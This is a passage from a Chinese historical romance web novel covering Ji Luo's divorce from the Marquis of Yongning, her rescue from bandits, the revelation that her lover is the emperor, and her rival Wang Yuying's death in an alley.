眼下袁庆生对茵娘这般疼爱是因着还不知她真正面目,等自己将她所有一切谎话尽数戳穿,那想来袁庆生往后是看也不会再多看她一眼! 第66章 袁庆生似乎感受到茵娘的不安,他轻轻握住茵娘的手,而后才转头看向王玉盈,“你想说什么?” 他说话的语气没有半分波澜,看向她的模样更仿若是在看一个陌生人。 这让王玉盈心底也隐约生出些不安来。 她心 底笃定的那些事似乎已经出现了一道道的细缝。 但她依旧很快稳住了心神,目光恨恨地看向茵娘,“庆生,你还不知道吧,其实茵娘的那个孩子根本不是你的,那个孩子与你没有半分关系,那只是……” “那只是你为了顺理成章与我和离的算计?”袁庆生轻笑一声,接着她并未说完的那半句话继续往下说了下去。 王玉盈的神色一顿,又忙摇头道:“不是的,不是我……” 她想将所有的一切都尽数推脱到茵娘身上,却不想不等她将那些话说出口,袁庆生便冷着脸将她彻底拆穿,“王姨娘,你说的那些事情我早便知道了,我也知道安安并非是我的孩子,更知道当初你想与我和离,却又想令旁人以为这一切是我的过错,以为你全然无辜,所以故意安排了这一切。” 袁庆生的话每多说一句,王玉盈的脸色便白上一分,她根本无从辩驳,只能慌乱地摇头,嘴里喃喃道:“不是的,不是这样的……” 可惜袁庆生早不再相信她的话,“过去的一切我无意与你计较,只是你也不必将我当作傻子一般戏弄,永宁侯还在意你时,你弃我如敝履,如今你在永宁侯府呆不下去了,却又来寻我,你将我当作什么?” 王玉盈一句话也答不上来。 她原以为袁庆生并不知晓真相,一心想着只要能与袁庆生解释清楚,一切便能回到从前。 毕竟袁庆生曾对她那样好,即便她当真犯了一些错误,他也是会愿意原谅的吧。 可眼下…… 大约袁庆生的语气实在不好,一旁茵娘迟疑了许久,依旧小心开口劝道:“庆生,王姑娘如今也没有别的去处了,不如就让她先留在府里……” 茵娘说这话本也是好心,她虽不知王玉盈具体遇上了何事,可只见这般狼狈姿态,便也能猜出她这些时日定是不好过的。 虽然茵娘也知王玉盈帮自己不过是为了利用,但也是当真感谢她救过自己一回,所以此时才有心开口为她说话。 却不想王玉盈一听茵娘这话反而面色更是屈辱,她满眼怨毒地看向茵娘,“你现在来做什么好人,你不是说你将我当作恩人,不是说会保守这个秘密,就算死,也不会向旁人透露分毫吗?” “那现在是怎么回事?你就是这样报答我的吗?” 茵娘慌忙想做些解释,可袁庆生却道:“不是她告诉我的,是她的亲戚寻上门来,我才知道这事有些古怪,再一细查,一切也都明了了。” 他虽然只是个商户,可能在上京将生意做得这样好也定然是有些本事的,只要生了怀疑,想要查清这一切的来龙去脉绝不会是多难的事。 王玉盈听到此处,只觉得头晕目眩,差点站立不稳。 此时的她早已是难堪至极,她何尝不想转身便离开,也算是留有最后几分尊严,可偏偏她再也没有了旁的去处,所以即便再如何难堪,她也只得生生忍着,甚至还想再开口求得袁庆生的同情。 但不等她开口,袁庆生便道:“既然如今话已经说清,我也不想再与你纠缠,你走吧,我只当你不曾来过。” 王玉盈不想袁庆生竟是绝情至此,一时面色惨白,但她知道袁府已经并非她能容身的所在,所以只得拖着疲累的身子,转身一步步离开。 “等等。”就在这时,茵娘却突然开口叫住她,而后快步上前往她手中塞了一袋银子,“这些你拿着吧,会有用得上的时候。” 王玉盈看着茵娘那张满是歉意的面容,心底的恨意却愈发不可克制,但她依旧忍住了要将那袋银子摔在茵娘脸上的冲动,只因茵娘那一句“会有用得上的时候”。 是,如今的她甚至连接下来该去往何处都不知道,更是身无分文,有了这些银子,她至少能寻得一个住所暂时住下也是好的。 王玉盈如此想着,即便再如何屈辱,也依旧收下了那些银子,而后快步出了袁府。 她原本就是趁着夜色从王家逃出来的,又在袁家耽误了不少时辰,这会儿出了袁府,天色已经完全暗了下来。 偏偏这一天天上无星无月,外间的街道上唯有少见的几盏挂在门前的灯笼散发着朦胧的光亮,让她勉强能看清前边的路。 她想着好歹先寻一处住所,于是低头匆匆往街市方向行去。 可不想她才没走多远,却隐约听到身后传来脚步声响。 她心底一慌,忙加快了步子,可身后之人却穷追不舍,甚至能清晰感觉到脚步声越发靠近,好似就在自己身后。 王玉盈早已慌不择路,不知不觉间已经是拐进了一处深巷子,但却依旧不敢停下脚步,更不敢回头细看,只能脚步越来越快。 可天色昏暗之下,她脚步又这般匆忙,连前边是有一处台阶也不曾瞧见,一时不注意便重重地摔了下去。 原本只是这般摔一下其实无关紧要,只是她的头却正好磕在了台阶的尖锐处,一时间血流如注,她挣扎着想爬起来,只是没走两步,最终还是重重地倒了下去。 而她身后空无一人,唯有夜里的冷风呼呼往里边灌,扫过落叶时窸窸窣窣,像极了有人从上边踩过。 *** 青萝院。 纪萝才用过早膳,便见赵承嘉大步走了进来。 他面色有些憔悴,眼下的乌青与下巴出新冒出来的胡渣给他平添了几分颓废。 而等他走得近了,更是能清晰闻到他身上传来的酒气。 应当是喝了不少。 若是从前,纪萝定是会上前嘘寒问暖,再亲手为他熬一碗醒酒汤,可如今已经撕破脸,纪萝只是起身行了礼,而后便再连一句关心的话都不曾有。 赵承嘉站在那儿,见眼前人神色淡淡,甚至一句话也不愿意与他多说,握住那张放妻书的手下意识握紧。 片刻后,他轻轻闭了闭眼,而后向前两步将那张放妻书递给纪萝,“我想清楚了。” 纪萝显然有些意外,她以为赵承嘉不会这样轻易松口,毕竟前日的他甚至因着她的话发了一通脾气,今日却已经写好放妻书送来。 甚至并非是和离书,而是放妻书。 他并未将所有过错推脱到自己身上。 这一瞬,纪萝心底并无感动,有的唯有怀疑。 经历了这样多的事,她如何会不知赵承嘉是什么样的人? 对自己也好,王玉盈也罢,他都不过表面上看起来深情,实则自私自利透顶。 凡事牵扯到他自己利益的,他都不会让步分毫。 依着他的性子,即便不得已答应和离,也一定会有意将所有错处推脱到纪萝身上,如此,反而能落得个好名声。 但这放妻书…… 纪萝接过那张放妻书,而后一字一句地认真看了过去,确定这其中并无异样才稍稍松了口气。 而后小心翼翼地将那张放妻书叠好收入怀中。 显然,她在意的唯有这张放妻书。 眼看纪萝连看也不曾多看自己一眼,只仔细检查了这放妻书之后便小心收好,心底又是涌上来一阵酸涩。 他与纪萝,什么时候竟是变成了这副模样? 但纪萝却并未在意他此时心中是如何想,只开口道:“东西我已经收拾妥当,不会带走侯府的一针一线,侯爷若是不放心亦可令人查验。” 她说话间唯有公事公办的语气。 赵承嘉到底有些难以接受,他惨然一笑道:“阿萝,我们到底夫妻三载,在你眼中,我竟是这样这样的人么?” “侯爷多心了。”纪萝神色未变,“只是不想之后再生了麻烦。” 说罢,她转身唤来吉香,“马车可备下了?” 吉香应着,“已经等在门口了。” 纪萝点头,“那咱们走吧。” 赵承嘉没想到她这样着急就要走,皱眉道:“怎么这样着急,也不去向母亲与倩桐说一声么?” “倩桐那边昨日我已经与她说过。”纪萝看向赵承嘉,“至于老夫人那里,想来侯爷早已准备好了说辞,我就 不必再去多言了,免得说错了话,还麻烦侯爷去解释。” 这两天纪萝早已经将一切事情安排妥当。 从凝露之事,到院子里一些婢子的去留都已经安排好。 原本纪萝也并未有将吉香带在身边的念头,想着令她留在侯府便好。 可不想昨日夜里吉香却主动来见了纪萝,直言想与她一同离开。 纪萝原本还想再劝一劝,毕竟这永宁侯府与自己而言虽不算事什么好去处,可对于这些婢子而言却算是一个不错的地儿,但若是跟着自己,怕是少不了会多吃些苦头。 但不想吉香却直言道:“这侯府里规矩礼仪实在太多,奴婢留在此处只觉处处束缚,还不如从前在那庄子里做事的时候,即便清苦些,但却也自在。” 听得吉香这话,纪萝便没有再将自己准备劝说的那些话说出口,她点头道:“既然你已经想明白了,那我也就不劝你了。” 如此,这桩事才算是定了下来。 至于赵倩桐,纪萝昨日午后便去见了她。 赵倩桐听纪萝说了和离之事,竟也并不算太意外,只道:“嫂子这样好的人,是我哥配不上你,如今和离,也算是好事。” 因着血脉亲情,她原本是应当偏向赵承嘉的,只是她亲眼见过赵承嘉做的那些事,所以无法再说出劝纪萝留下的话来。 纪萝听她如此说,心下也有些感动,她认真道:“虽说往后我与你兄长再无关系,但咱们还是朋友。” 赵倩桐忙点头答应,又问起纪萝往后的安排。 两人闲谈许久,却是到入了夜才回了青萝院。 纪萝既然早有离开心思,自是会提早将一切安排妥当。 甚至魏氏,她昨日一早都见了一面。 不过却是魏氏亲自过来的,还将纪府的那些事尽数说了,又让纪萝安心,道:“你父亲虽有逼着你的心思,但我与他言明了一切,他也只得放下这般念头,你往后不论是想和离还是旁的,家里不说能为你做些什么,至少是不至于拖累了你。” 纪萝从不曾指望过纪府能帮衬她什么,不然也不会在遇上那些事之事从不曾回家中倾诉。 她只要纪府不至于拖累她,便也就足够了。 所以听到魏氏这般说,她也算是安心下来。 之后魏氏还拿了些银子塞到纪萝手中,可纪萝却并不曾接下,她笑着道:“您还担心我没有银子使么,我在侯府这些年自然也是有些积蓄的,往后离了侯府,也会想法子过活,总没有坐吃山空的道理。” 魏氏听着这话,又见纪萝眼神坚定,显然并非是在撒谎,这才安心下来。 只是不免又再叮嘱了几句,说往后若是再有需要的时候,必定要来寻她。 纪萝没再客气,直接应了下来。 如此,魏氏才放心离开。 至于王氏,她并无觉得自己有必要去与她道别。 嫁来永宁侯府的这三年间,王氏对她,一直颇为刁钻苛刻。 虽说后来王玉盈入了府,大约是两相对比之下,王氏又觉出纪萝的好处来,所以对她好了几分罢了。 她若是先去见了王氏说明缘由,怕是免不了又生出麻烦来。 不如索性让赵承嘉自己去解释清楚,想来他心底也早已有了说辞。 赵承嘉听她如此说,神色顿了片刻,也说不出什么反驳的话来。 只是在纪萝与吉香拿了东西要离开之际又忍不住叫住她,他眉头紧皱,似乎在斟酌着语句,好一会才开口问道:“你……你是有旁人了么?” “什么?”纪萝有些没有听明白他的意思。 赵承嘉迟疑着再问了一遍道:“你是不是已经有了别人?” 纪萝意识到他的意思,不由觉得有些可笑,“我们已经和离,这与你有什么干系?” 话说完,纪萝便看向一旁吉香,“我们走吧。” 她将赵承嘉撇在身后,亦是将整个永宁侯府与这三年间的一切撇在身后。 再往前,唯有春和景明。 *** 入夜。 纪萝先寻了上京的一处客栈住下,想着明日一早先去京郊庄子祭拜芸枝。 当初一切离开得匆忙,甚至没来得及与芸枝好好说说话。 如今自己也算为她报了仇,自然是要亲自将这消息告知于她。 只是一进客栈,纪萝却在门口瞧见一张有些熟悉的面容,她一怔,等那人抬眸对她一笑,她才认出这人竟是谢元墨。 其实这时候纪萝反而觉得自己与谢元墨也不当再见面。 她与谢元墨的那一夜,其实纪萝心底也存了愧疚心思,不过那日夜里的谢元墨虽说拒绝,但也有半推半就的意思,只是如今腹中的这个孩子…… 原本纪萝是想着趁着月份不大,索性落了胎,如此也无需将这事告知谢元墨。 毕竟她与谢元墨之间是全然没有可能的,不说谢元墨家中,只说纪萝自己也并无再嫁人的念头。 她好容易从永宁侯府这样的火坑里跳出来,倘若又嫁给谢元墨,岂非又被困在了后宅深院中? 她心底纵然是在意谢元墨的,可却不会做出这样的蠢事来。 因着这个念头,她甚至已经让吉香配好落胎的汤药,只是最终却还是没狠心将那碗药饮下。 她想了一夜,最终才做了决定,这孩子既然在她腹中,那便是她一人的,与旁人都无干系。 只要往后她再不与谢元墨见面,谢元墨便也永远不会知晓他有这样一个孩子。 如此,她才做了决定。 可不想才离开侯府,她便在客栈中遇上了谢元墨。 既然已经遇上,纪萝也不好当作不曾看见,只得硬着头皮走上前去,“南星,你怎么在这?” “我在等你。”谢元墨笑了笑,“和离的事,办妥了吧?” 原本纪萝还想不明白为何赵承嘉会这样快同意和离之事,现在听谢元墨问起此事,才福至心灵般开口道:“这事,是你帮的忙?” 谢元墨没有否认,只道:“看来很是顺利,你往后有什么打算?” “先去祭拜芸枝。”纪萝道:“之后在上京寻一处宅院,还像从前在那庄子一般种菜浇花,平平淡淡地这样过一辈子就好。” 谢元墨轻笑一声,“看来纪姑娘的想法一直不曾有过变化。” 纪萝看向他,迟疑着正要开口,谢元墨却道:“我也喜欢那样的生活,到时候若是偶尔到纪姑娘的院中讨一杯茶水喝,纪姑娘可莫要嫌弃。” 他的话说得直接,纪萝竟是不知该如何开口拒绝。 帮芸枝报仇也好,与赵承嘉和离也罢,虽然他不曾明言,可纪萝却知他在这其中帮衬不少。 若是这样的小事她都不肯应下,也未免太过没有良心了些。 所以只得点了头,勉强应道:“自是欢迎随时过来。”【你现在阅读的是 】 【终章】 第67章 王氏是直至第二日才知纪萝离开之事。 她原以为是赵承嘉因王玉盈之事迁怒于纪萝,但问过青萝院的婢子才知两人竟是已经和离。 王氏听秋和如此说实在是不敢相信,可秋和的语气却极为笃定,“青萝院的那些婢子都知道这事,甚至纪氏离开前还将她贴身的婢子安排妥当了,就好像提早知道这事一样。” 王氏越是听着越发觉得古怪,她摇头道:“不对啊,即便承嘉因着王玉盈那事对纪氏有些不满,可却也不至于要与她和离吧。” “况且这事是王玉盈的过错,又如何能扯到纪氏身上?” 秋和也说不出个所以然来,只得道:“侯爷这两日正赋闲在家,您若是想弄清其中缘故,不如索性唤侯爷过来一问便知。” 王氏面色有些不对,“去请侯爷过来,和离这样的大事他不曾问过我这个做母亲的意思,竟就这样定了,这哪里还有将我这个做母亲的放在眼里?” 秋和见她神色似有愠怒,忙应着前去请人 。 可却被王氏叫住,“将倩桐叶叫来吧,她与纪氏的关系不错,这事,她或许也是知道的。” 秋和又应着退了下去。 从纪萝离开,赵承嘉便知道这事是躲不过去的,只是不曾想到秋和来得这样快。 但也无法,只得同她去了。 等他到了华庆院时,赵倩桐也才到。 因着纪萝的事,赵倩桐这些时日与赵承嘉的关系一直不算太好,这会儿就连碰了面,她也不曾多看赵承嘉一眼。 王氏这会儿也顾不上去深究他们兄妹二人之间的关系,只皱眉开口道:“承嘉,你与纪氏当真已经和离了?” 她其实已经知道这事定然不会是假的,可心底却总还有几分不敢相信。 她能看出赵承嘉对纪萝也是有几分在意的,即便当真因为王玉盈的事迁怒纪萝,也总不至于闹到和离的地步吧? 可赵承嘉却点了头,“是,我们已经和离了。” 王氏猛然变了脸色,“你纵然对她再有不满,怎么就闹到和离的地步了?这事你也不曾与我这个做母亲的商量一下,直接就这样将纪氏赶出府去,连个像样的由头都没有,如何能说得过去?” 赵承嘉低下头,道:“这事,也是她的意思。” “什么?”王氏难以置信地瞪大眼睛,“你是说纪氏她也有心和离?” 这话才说完,她又很快地摇了头,“不可能,纪氏她那样的出身,能攀上我们侯府已经是万幸,倘若与你和离,那往后的日子定不会好过,这样简单的道理,她如何会不明白?” 可是王氏这话说完,不等赵承嘉再作解释,赵倩桐却嗤笑一声道:“母亲这话说错了,阿萝离开侯府往后的日子可不会不好过,反而比之在侯府要好上千万倍。” 王氏转头看向她,听她接着道:“至少不会像在侯府一般,怀了身子还被夫君的心上人算计,甚至孩子也因此丢了,更不说落胎之后还要被赶去庄子自生自灭!” 赵倩桐的话犹如一根根尖刺刺向赵承嘉,他原本便没什么血色的脸更是惨白。 这些事,他其实都明白,也早已后悔。 只是却是头一回被旁人戳破。 王氏听了赵倩桐这话,一时间竟也说不出什么反驳的话来,半晌,她只叹了口气,“罢了,儿孙自有儿孙福,我年纪大了,许多事,也并非我能管得了的了。” “都由着你们自己去吧。” 这些事情深究起来,确实也是说不清的。 王氏知道这事已经定下,也再改变不了,所以也不想再费心思。 *** 纪萝与吉香在那客栈住了一晚,第二日一早便出发前往庄子。 原本昨日夜里是与谢元墨说好一同过去的,可这一日,纪萝却特意比二人约定的时间提早了半个时辰离开。 从昨日夜里见过谢元墨之后,她便明白,若是自己继续留在上京,那么二人之间的纠缠怕是不会有休止的时候。 为了他,也是为了自己,纪萝决意改变原本的计划,转而选择离开上京。 去一处谢元墨也寻不着的地方定居。 但不论如何,她都得先去祭拜过芸枝。 等她与吉香上了前往京郊的马车,客栈的二楼却有人立在那扇半开的窗子旁,目光似有些受伤又有些无奈地落在那辆马车上。 马车在路上行了三日余,等到了京郊已经是午后。 纪萝先去镇上买了些芸枝从前爱吃的点心水果,而后才到了芸枝墓前。 虽不过才一月余未见,可纪萝看着那块冰冷的石碑,却感觉她们仿佛已经许多年不曾见过。 她立在那墓前,心里好似有千言万语,但到了嘴边,却又不知该如何说起。 她沉默良久,不知不觉间眼眶却先红了,才终于声音艰涩地开了口,“芸枝,可惜你不曾亲眼瞧见那样的景象,我们的仇人,她现在大约过得生不如死。” 她垂下眸子,眼底的恨意却怎么都无法掩盖,“李氏那样看重她那个儿子,可儿子却偏偏死在了她自个女儿的身上,只这一桩罪行,便足以令李氏恨极了王玉盈,更不说王玉盈已经离开了侯府,她所筹谋的,所想要得到的,最终都烟消云散。” “这样的下场,是她应得的。” 话音落下,周遭忽地起了一阵风,从细密的叶缝中穿过,沙沙的声音许久不曾停歇,好似在给纪萝回答。 但等风声停下,耳边却依旧有声音并未止息,似乎是脚步声响。 纪萝意识到什么,猛然往身后看去,果真见几个匪寇模样的大汉手中拿着大刀逼近。 领头那人看着纪萝,狞笑道:“倒是我们运气好,荒山野岭地竟能遇上这样的美人儿!” 他身后几个匪徒闻言也都嚣张大笑,显然都为这意料之外猎物的到来感到高兴。 毕竟眼下他们眼前的只是两个模样柔弱的女子,而这两人衣着打扮却并不似寻常人家,想来这一回能从她们身上捞着不少银子。 “你们要银子的话我可以给你们。”纪萝竭力使自己冷静下来,咬牙道:“闹出了人命,对你们来说也没有好处。” 一旁吉香见了这样的景象也不免害怕,不过却还是强撑着挡在了纪萝的身前。 可纪萝却握住了她微微有些发颤的手,让她心底不自觉安定许多。 但纪萝这话却并未吓唬到这些匪徒,领头那人更好似听到了什么天大的笑话一般,又是止不住大笑,道:“你以为这是什么所在?这样的穷乡僻壤,不论是天潢贵胄还是寻常百姓,到了这儿,都是一样的。” “自然,我们不会杀了你们,毕竟两个活生生的漂亮姑娘可远远比两具死尸要值钱得多!” 说罢,他转头瞥了一眼身侧之人,示意他们可以动手。 身旁那几个匪徒会意,步子渐渐往纪萝与吉香的方向靠近,颇有要将她们团团围住的意思。 纪萝与吉香二人见情况不对,也知说服不了这匪徒,便要转身逃跑。 她们的马车正停在不远处,若能顺利上了马车,便能有一线生机! 可等她们慌忙往马车方向跑去之时,那些匪徒也很快有了动作,自是不会令她们轻易逃脱。 眼看那马车就正在眼前,纪萝与吉香也顾不得这么多,只是那些匪徒的动作极快,不消多时便追了上来,甚至在看着二人就要上马车之际,追在最前边的那个匪徒下意识举起了刀子。 在这一瞬,纪萝脑中想到的是庄子里的那个雨夜,芸枝不顾一切地挡在了她的身前,为她挡住了那致命的一刀,也正因此丢了性命。 此时的景象,与那日夜里的几乎并无不同之处。 纪萝没有再多想什么,她只觉得那样的景象不能在她面前发生 第二回。 若可以,她宁愿受伤的那个人是自己。 所以下一瞬,她用尽所有力气将吉香护在了自己身后,吉香还来不及反应,那匪徒的刀子便正好生生砍在了她身上。 温热地鲜血从伤口处弥散开来,这一刻,纪萝仿佛感知不到身上的疼痛,只用尽最后的力气想将吉香推向马车。 只是也正在这时,有十余个身着黑衣的男子出现,而他们似乎是来帮助纪萝与吉香的,什么话也不曾说便直接与那些个匪徒打斗起来。 这些人显然都是有些功夫的,与那些匪徒打斗之时不仅不落于下风,甚至隐约有能压制的趋势。 眼见这些匪徒已经被拖住,吉香便索性搀扶着纪萝要上马车。 只是这会儿的纪萝却已经没了气力,她强撑着让吉香上马车,可在说完这话的下一瞬,眼前便被铺天盖地的浓重黑色所淹没,之后便失去了意识。 再醒来时,周遭却是全然陌生的环境。 纪萝神色茫然地看着眼前的景象,直至听到一旁吉香的声音,眼神才逐渐清明。 她转头,看见吉香正守在她身边,一脸惊喜道:“姑娘,您醒来了!” 纪萝刚想开口说话,可却被喉咙处传来的干涩感呛得连连咳嗽,吉香慌忙去倒了水,又手忙脚乱地替她轻拍着后背,好半晌才算是缓和过来,而后抓住吉香的手,问道:“这,是哪里?” 吉香正欲开口回答,便见有人推门进来,“这里是沈国公府。” 纪萝抬眸,看清楚了眼前女子的面容,顿了片刻之后才想起来,“你是……沈小姐。” 她与沈文清原本便是见过的,当初赵倩桐因着王玉盈的算计记恨于她,便是在沈国公府算计了她落水,那时若不是这位沈小姐相帮,纪萝即便能解决此事,却也少不了狼狈几分。 虽说那时候纪萝与沈文清不过一面之缘,但沈文清却帮了她不少,所以她自然是记得的。 沈文清笑着点头,“看来夫人……不对如今应当唤你纪姑娘了,看来纪姑娘还记得我。” “当初在国公府多亏了沈小姐相帮。”纪萝神色中却依旧难掩疑惑,“只是如今我为何会在此处?” 一旁吉香叹了口气,解释道:“姑娘,您已经昏迷了好几日了,倘若不是沈小姐在上京寻了一位颇为厉害的大夫,您的伤怕是……” 说到此处,吉香的声音中也不免有些哽咽。 可沈文清却摇头道:“这事我可不敢居功,倘若不是那位点了头,这位大夫可是我有心想,也不一定能请来的。” 纪萝神色一顿,又想起自己遇上那些匪徒之时突然出现在自己身边的护卫,再联想到自己为了与赵承嘉和离之事费尽心思,可南星却可以轻而易举地将此事促成,更不说他帮着自己将当初的闯入庄子害死芸枝的匪徒抓住,甚至安排自己可以亲自审问…… 而眼前的又是沈国公府独女沈文清。 这些事联系到了一处,即便她再不敢往那个方向去想,也不得不这样想。 她抬眸看向沈文清,福至心灵般道:“沈小姐说的那人,是当今天子么?” 吉香一听这话顿时睁大了眼睛,可沈文清却只轻笑一声,“纪姑娘果真是个聪明人,是,我所说的那人就是我的表兄,也是当今天子。” 原来如此。 得知了南星真实身份的一瞬,纪萝也并没有那么意外,毕竟他是那样神通广大的一个人,就连永宁侯府,都不曾放在眼里。 除却这样的身份之外,纪萝实在想不到旁的解释。 事已至此,纪萝也不再打算隐瞒什么,她垂眸,轻声道:“那我的孩子,还在吗……” “放心。”沈文清知道她担心,便安抚道:“你的身子不错,虽然折腾了这一番,可孩子却没出岔子,只是……” 她眨了眨眼睛,眼底的好奇分毫不曾掩饰,“只是这孩子,是我表兄的么?” 她的语气认真,也并不拐弯抹角,这让纪萝反而有些不好意思骗她,迟疑了片刻之后终于还是轻轻点了头。 这事是瞒不住的,即便不告知沈文清,只要根据这孩子的月份往前推算一番,谢元墨也能知晓这孩子正是他的。 所以也不必再说假 沈文清夸张地用帕子捂住嘴,而后禁不住连连道:“没想到啊,没想到啊,我早知他惦记着你,却不想他动作这样快,当真做出了挖人墙角的事情来!” 纪萝没想到沈文清是这样的反应,听得她说天子早就惦记自己更是意外,一时也不知该说些什么。 可沈文清却来了兴致,拉着纪萝的手道:“你可不知,当初在国公府那回虽说是我吩咐人给你拿的衣裳,但这事却是表兄令我去办的,还特意令我拿了与你当时穿的颜色相近的衣服,可谓是用心至极!” “后来他还有心让我去打听你的身份,可惜你当时还是永宁侯夫人,那会儿我见他没再提这事,还以为他已经死了这心思,却不想……” 说到此处,沈文清不由又笑了,“不想他背着我早已与你有了这层关系。” 纪萝听着沈文清的这些话也颇有些意外,她倒是记得那日落水后极为狼狈之时确实是遇见过一个男子,只是当时她一只低头掩住自己面容,又担心失了仪态冲撞了国公府的贵客,所以索性躲进了一旁空着的客房中,自然也就不曾瞧清楚那人面容了。 如今听着沈文清提及那时候的事,倒是想起来那男子的声音与后来的南星声音似乎确实很是相似…… “阿萝!”两人正说着话,谢元墨却正在这时匆忙推门进来,他显然颇为着急,推开门之后便大步走到纪萝面前,见她当真醒过来了之后面色才稍稍松缓,“阿萝,你终于醒了。” 纪萝的目光却落在他身上,他刚下了早朝便赶了过来,连身上的朝服都来不及更换。 沈文清也看向他,忍不住调侃道:“表兄,怎么连衣服也不换一身就来了,就算再着急也不当这样吧,人就在我这儿,又跑不了!” 纪萝却让吉香搀扶着自己,要起身向谢元墨行礼。 谢元墨忙向前几步拦住了她,“你这是做什么,阿萝,你这是在怪我么?” 纪萝摇头,“陛下,此事并非是您有意瞒我,反而是我自己并不愿去探知,只是有些意外。” 她微微抬眸,“没有想到当初那个在庄子里陪在我身边的小护卫,竟会是当今天子。” 她并未有责怪谢元墨的意思,甚至将所有的过错都揽到了自己身上,只是谢元墨的心底却隐约有些发沉,片刻后,他才轻声道:“阿萝,那个孩子,是我的吧。” 大夫诊断出纪萝已经怀了身子时,其实谢元墨心底便已经有了答案,算算月份便知纪萝腹中的那个孩子应当是王氏寿辰那日怀上的。 但此时,却依旧想要从纪萝口中得到一个答案。 “是。”孩子的事,纪萝在沈文清面前承认过一回,自然也不会不肯在谢元墨面前承认,她坦然地点头,“那孩子是你的。” 谢元墨目光定住,似乎想要开口说些什么,可纪萝却先一步道:“即便如此,我当初所想,依旧不会有分毫变化。” 谢元墨目光依旧落在她身上,他明白纪萝的意思,若说心底没有失望那定是不可能的。 但片刻之后,他神色中又多了几分释怀。 纪萝的想法他向来是知道的,若是当真因着一个孩子而变了心思,反而被困在了他身边,那便不是他所认识,所了解的纪萝了。 “我也与当初一样。”他释怀一笑,“只要那天我前来探望,纪姑娘肯给我倒一碗茶水,也就足够。” 沈文清见两人这般模样,不由“啧啧”几声,“我还在呢,怎么说这样酸人的情话,哎呀,当真是羞死人了!” 纪萝原本听谢元墨这话只觉得意外,不曾想他竟全然没有勉强自己的心思。 自然,也因他这般尊重自己而觉得感动。 可一听沈文清这调侃之言,却不由得红了脸。 谢元墨颇为无奈地转头看向自个表妹,“这个时辰不去陪着祖母用膳,留在这儿是做什么?” “好好。”沈文清像模像样地叹了口气,“那我还是不在这儿打扰你们了!” 说罢,才转身出了房门。 出门前还没忘记将吉香也拉到了外间,便就留下纪萝与谢元墨在里间。 四周一下子安静下来,两人反而是沉默了一阵,谢元墨酝酿着,刚要开口说什么,纪萝却先道:“这个孩子我会生下来。” 谢元墨怔住,而后听着她继续道:“这孩子会跟在我身边,但是你永远是孩子的父亲,若是什么时候你想过来看望他,我不会拦着。” “往后……”她抬眸看向谢元墨,“往后你身边若是有了旁人,也有了别的孩子,那便不用再来见他,只当作我们之间没有过这一场缘分便好。” 纪 萝如此说,并非是存了威胁谢元墨的心思或是争风吃醋之类。 只是她知道谢元墨的身份特殊,寻常人后宅中的争斗已是颇为凶险,若是后宫,纪萝简直不敢细想倘若谢元墨的后妃知晓了有自己与这个孩子的存在会做出何种疯狂之举来。 她不想将自己与孩子置身于险境之中。 届时谢元墨身边早有了旁人,怕也不会对她如何上心,而那些后妃背后定然都是有些倚仗的,她却不过只是个寻常百姓,如何能斗得过那些人? 不如索性断了这层关系,对于自己与孩子,甚至对于谢元墨而言,都是好事。 她提前将话说明白,也是不希望往后再因这种事牵扯不清。 可谢元墨神色极为认真,他坚定道:“不会有那一天的,永远不会有那一天。” 纪萝看着他眸色中的认真,一时间不由晃了神,不过很快又回过神来,她轻轻摇头道:“等到了那一日,我只希望我们不再有任何牵扯。” 谢元墨没有再解释,他只是轻声道:“就让时间来验证吧。” 他眼眸微垂,眸色也暗淡了几分,大约是因着纪萝方才那颇为不信任他的话语而有些受伤。 见他这般模样,又想到他为自己付出的这样许多,纪萝心底不由生出了些愧疚来。 谢元墨与赵承嘉浑然不同,她不能用赵承嘉的所作所为来揣测谢元墨,如此,实在不公平。 可她也不知该如何安慰他,迟疑片刻后,她贴近谢元墨,唇几乎是下意识地碰了碰他的侧脸。 谢元墨微微睁大眼睛,被她微凉的唇触碰到的侧脸几乎瞬间染上红晕,灼人的烫意也瞬间弥散开来。 纪萝 第一回做这样的事,见谢元墨颇为难以置信的神色,一时也有些不好意思,正要退却,可谢元墨却微微转头,恰好碰到她的唇,而后反客为主般贴近,深入…… *** 纪萝在沈国公府住了五日便准备离开。 沈文清挽留了好几次,可纵然沈国公府的一切都好,但她总还是过不惯寄人篱下的生活。 她的身子已经好了大半,加之原本也并不打算离开上京,所以也并无大碍。 沈文清见她这般坚持,也就由着她去了。 连着两日,纪萝与吉香都在外边寻找合心意的宅子。 纪萝心里早已有了打算,这宅子别的地方差一些倒是无所谓,但定是要大一些,否则若有心想种菜养鸡,岂非很是不便? 吉香也同样有这般念头。 只是这毕竟是上京,只是大宅子价格便必定不会便宜,所以两人奔波了整整两日都不曾寻着合心意的。 原本有些丧气,不想今日却正好有人知晓她们在租宅子,找上门来说自己有一处闲置的宅院,“我这宅子别的不说,就是足够大,我听邻居说姑娘就想要一处大宅院,那租我家这宅子便是正好的!” 纪萝与吉香这些时日在外边奔波,也是四处打听,正好便问过了他的邻居,今日他从邻居那儿得知了这事,才寻上门来。 纪萝听他这般说着也来了兴趣,她这两日为了这事费了不少心思,结果却始终不曾寻着合心意的,这会儿听这人如此说,自是免不了要随他去看看。 那宅子正在城西街道的巷子里,虽然位置稍稍有些偏僻,可依着这人所言,除却位置不算太好之外,别的都是不错的。 纪萝与吉香想着与他一同过去瞧瞧,便令人备下了马车。 等马车经过王家时候,却听得一阵喧哗声,纪萝觉得奇怪,掀开车帘往外看去,却见王家竟是正在办丧事。 按理来说王绍怕是半个月前就已经丢了性命,这丧事在自己还不曾离开永宁侯府之事都听着了动静,据说操办得很是风光,怎么如今还在办丧事? 她正想着,便听到街边有百姓议论起这事。 有一身着灰布麻衣的男子也是面露稀奇之色,“这王家是怎么了,不是前些日子儿子才出了事办了场丧事么,怎么今日又办起了丧事来?” 一旁挎着篮子的婶子转头看他一眼,“王家今日办的丧事可不是因着他们儿子,而是为着他们那个女儿!” “他们女儿?”一听这话,那男子也是吃了一惊,“可是那位前头闹着要嫁去袁家,后头和离又去了永宁侯府做妾的那位?” 王玉盈的事迹传闻颇广,上京的这些人或多或少都是知道一些的,所以这男子也是很快想起来。 那婶子连连点头,看了看左右后又压低声音道:“王家的这个女儿下场可不好,听说是前几日的夜里死在了一处巷子里边,那巷子原本便是少有人去的,尸身被人瞧见的时候据说都已经发了臭,上头还有虫子来回爬着,吓死人了!” 那男子越发惊讶,“这可是在上京,天子脚下,这位王小姐也不算是个没身份的,什么人竟是这样大胆?” “这谁能知道?”婶子摇摇头,做出不屑之色来,“大约人死得实在是不体面,所以王家人寻着尸身之后竟也没有要报官的意思,只将尸身带回了家里。” 